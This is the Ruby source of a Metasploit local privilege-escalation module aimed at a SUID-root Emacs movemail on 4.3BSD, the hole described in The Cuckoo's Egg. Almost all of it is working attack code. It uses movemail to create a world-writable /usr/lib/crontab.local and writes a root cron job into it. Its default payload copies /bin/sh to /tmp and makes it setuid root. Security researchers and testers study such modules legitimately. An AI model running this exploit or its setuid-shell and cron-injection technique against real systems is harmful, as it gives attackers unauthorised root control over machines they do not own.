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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Emacs movemail Privilege Escalation',
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        'Description' => %q{
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          This module exploits a SUID installation of the Emacs movemail utility
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          to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local.
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          The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg.
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        },
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        'Author' => [
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          'Markus Hess', # Discovery? atrun(8) exploit for sure
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          'Cliff Stoll', # The Cuckoo's Egg hacker tracker
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          'wvu' # Module and additional research
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        ],
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        'References' => [
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          %w[URL https://en.wikipedia.org/wiki/Movemail],
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          %w[URL https://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg],
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          %w[URL http://pdf.textfiles.com/academics/wilyhacker.pdf],
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          %w[URL https://www.gnu.org/software/emacs/manual/html_node/efaq/Security-risks-with-Emacs.html],
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          %w[URL https://www.gnu.org/software/emacs/manual/html_node/emacs/Movemail.html],
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          %w[URL https://mailutils.org/manual/html_node/movemail.html]
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        ],
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        'DisclosureDate' => '1986-08-01', # Day unknown, assuming first of month
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        'License' => MSF_LICENSE,
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'SessionTypes' => %w[shell],
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        'Privileged' => true,
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        'Payload' => { 'BadChars' => "\n", 'Encoder' => 'generic/none' },
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        'Targets' => [['/usr/lib/crontab.local', {}]],
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        'DefaultTarget' => 0,
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        'DefaultOptions' => {
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          'PAYLOAD' => 'cmd/unix/generic',
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          'CMD' => 'cp /bin/sh /tmp && chmod u+s /tmp/sh'
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        },
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        'Notes' => {
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          'Reliability' => [REPEATABLE_SESSION],
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options([
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      OptString.new('MOVEMAIL', [true, 'Path to movemail', '/etc/movemail'])
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    ])
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  end
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  def bin_path
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    '/bin:/usr/bin:/usr/ucb:/etc'
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  end
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  def movemail
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    datastore['MOVEMAIL']
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  end
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  def crontab_local
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    '/usr/lib/crontab.local'
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  end
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  def crontab(cmd)
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    "* * * * * root #{cmd}\n* * * * * root rm -f #{crontab_local}"
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  end
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  # uname(1) does not exist, technique from /etc/rc.local
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  def is_43bsd?
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    cmd_exec('strings /vmunix | grep UNIX').include?('4.3 BSD')
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  end
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  # id(1) does not exist
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  def root?
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    cmd_exec('whoami').include?('root')
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  end
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  # test -u does not exist
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  def setuid_root?(path)
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    cmd_exec("find #{path} -user root -perm -4000 -print").include?(path)
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  end
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  def setup
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    super
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    vprint_status("Setting a sane $PATH: #{bin_path}")
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    case cmd_exec('echo $SHELL')
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    when %r{/bin/sh}
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      vprint_status('Current shell is /bin/sh')
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      cmd_exec("PATH=#{bin_path}; export PATH")
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    when %r{/bin/csh}
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      vprint_status('Current shell is /bin/csh')
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      cmd_exec("setenv PATH #{bin_path}")
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    else
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      vprint_bad('Current shell is unknown')
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    end
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    vprint_status("$PATH is #{cmd_exec('echo $PATH').chomp}")
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  end
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  def check
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    unless is_43bsd?
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      vprint_warning('System does not appear to be 4.3BSD')
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    end
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    unless file?(movemail)
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      vprint_bad("#{movemail} not found")
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      return CheckCode::Safe
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    end
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    unless movemail.end_with?('movemail')
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      vprint_warning("#{movemail} has an unexpected name")
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    end
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    unless setuid_root?(movemail)
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      vprint_status("Non-SUID-root #{movemail} found")
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      return CheckCode::Detected
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    end
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    vprint_good("SUID-root #{movemail} found")
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    CheckCode::Appears
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  end
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  def exploit
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    if root?
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      print_good('Session is already root, executing payload directly')
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      return cmd_exec(payload.encoded)
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    end
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    # outdesc = open (outname, O_WRONLY | O_CREAT | O_EXCL, 0666);
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    if file?(crontab_local)
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      fail_with(Failure::NoTarget, "#{crontab_local} already exists")
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    end
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    print_status('Preparing crontab with payload')
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    tab = crontab(payload.encoded)
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    vprint_line(tab)
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    # umask (umask (0) & 0333);
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    # (void) ftruncate (indesc, 0L);
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    print_status("Creating writable #{crontab_local}")
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    cmd_exec("(umask 0 && #{movemail} /dev/null #{crontab_local})")
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    unless writable?(crontab_local)
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      fail_with(Failure::NoAccess, "#{crontab_local} is not writable")
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    end
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    print_good("Writing crontab to #{crontab_local}")
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    cmd_exec("echo '#{tab.gsub("'", "'\\\\''")}' > #{crontab_local}")
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    print_warning('Please wait at least one minute for effect')
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  end
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end
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